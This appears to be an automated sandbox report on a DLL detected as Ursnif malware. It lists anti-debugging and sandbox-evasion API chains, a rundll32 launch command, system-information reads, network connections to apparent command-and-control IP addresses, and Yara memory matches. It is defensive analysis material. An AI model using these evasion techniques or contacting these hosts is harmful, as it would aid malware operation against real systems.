      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Found evasive API chain (may stop execution after checking system information)
      Source: C:\Windows\SysWOW64\rundll32.exeEvasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep
      Source: C:\Windows\System32\loaddll32.exeEvasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleepgraph_0-20601
      Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2560Thread sleep count: 35 > 30Jump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exe TID: 4220Thread sleep time: -1125604035s >= -30000sJump to behavior
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\SysWOW64\rundll32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
      Source: C:\Windows\SysWOW64\regsvr32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
      Source: C:\Windows\System32\loaddll32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-21732
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB711D0 FindWindowA,DestroyWindow,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetSystemDirectoryA,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetEnvironmentStrings,task,PathAppendA,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetEnvironmentStrings,task,FindFirstFileA,FindNextFileA,task,FindClose,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetTickCount,LoadLibraryExA,GetProcAddress,SleepEx,FreeLibrary,SendMessageTimeoutA,KiUserCallbackDispatcher,task,ExitProcess,DefWindowProcA,task,DestroyWindow,PostQuitMessage,DefWindowProcA,0_2_6CB711D0
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB922BF FindFirstFileExW,0_2_6CB922BF
      Source: C:\Windows\System32\loaddll32.exeAPI call chain: ExitProcess graph end nodegraph_0-20687
      Source: C:\Windows\System32\loaddll32.exeAPI call chain: ExitProcess graph end nodegraph_0-21105
      Source: regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000002.637145529.0000000000A56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002CCC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.637105776.0000000002D26000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: regsvr32.exe, 00000003.00000002.637145529.00000000009FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW

      Anti Debugging

      barindex
      Found API chain indicative of debugger detection
      Source: C:\Windows\SysWOW64\rundll32.exeDebugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep
      Source: C:\Windows\System32\loaddll32.exeDebugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleepgraph_0-20601
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB8B0A1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_6CB8B0A1
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E51CEB LoadLibraryA,GetProcAddress,0_2_00E51CEB
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB93391 GetProcessHeap,0_2_6CB93391
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB8FDBC mov ecx, dword ptr fs:[00000030h]0_2_6CB8FDBC
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB91FD6 mov eax, dword ptr fs:[00000030h]0_2_6CB91FD6
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00AE00A5 mov eax, dword ptr fs:[00000030h]0_2_00AE00A5
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00AE0AA6 mov edx, dword ptr fs:[00000030h]0_2_00AE0AA6
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00AE0AA6 mov eax, dword ptr fs:[00000030h]0_2_00AE0AA6
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00AE12C9 mov edi, dword ptr fs:[00000030h]0_2_00AE12C9
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00AE0C5A mov ecx, dword ptr fs:[00000030h]0_2_00AE0C5A
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_049700A5 mov eax, dword ptr fs:[00000030h]5_2_049700A5
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04970AA6 mov edx, dword ptr fs:[00000030h]5_2_04970AA6
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04970AA6 mov eax, dword ptr fs:[00000030h]5_2_04970AA6
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_049712C9 mov edi, dword ptr fs:[00000030h]5_2_049712C9
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04970C5A mov ecx, dword ptr fs:[00000030h]5_2_04970C5A
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB8B0A1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_6CB8B0A1
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB8E973 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_6CB8E973
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB8B35D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_6CB8B35D

      HIPS / PFW / Operating System Protection Evasion

      barindex
      System process connects to network (likely due to code injection or exploit)
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 31.41.44.76 80Jump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 185.31.160.197 80Jump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeDomain query: checklist.skype.com
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 194.116.163.130 80Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1Jump to behavior
      Source: C:\Windows\System32\loaddll32.exeCode function: SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,0_2_00E51226
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,3_2_00D71226
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,5_2_02C81226
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB8AEC0 cpuid 0_2_6CB8AEC0
      Source: C:\Windows\System32\loaddll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E51598 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,0_2_00E51598
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E51F1E CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,0_2_00E51F1E
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C3BD3 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,0_2_027C3BD3

      Stealing of Sensitive Information

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTR

      Remote Access Functionality

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
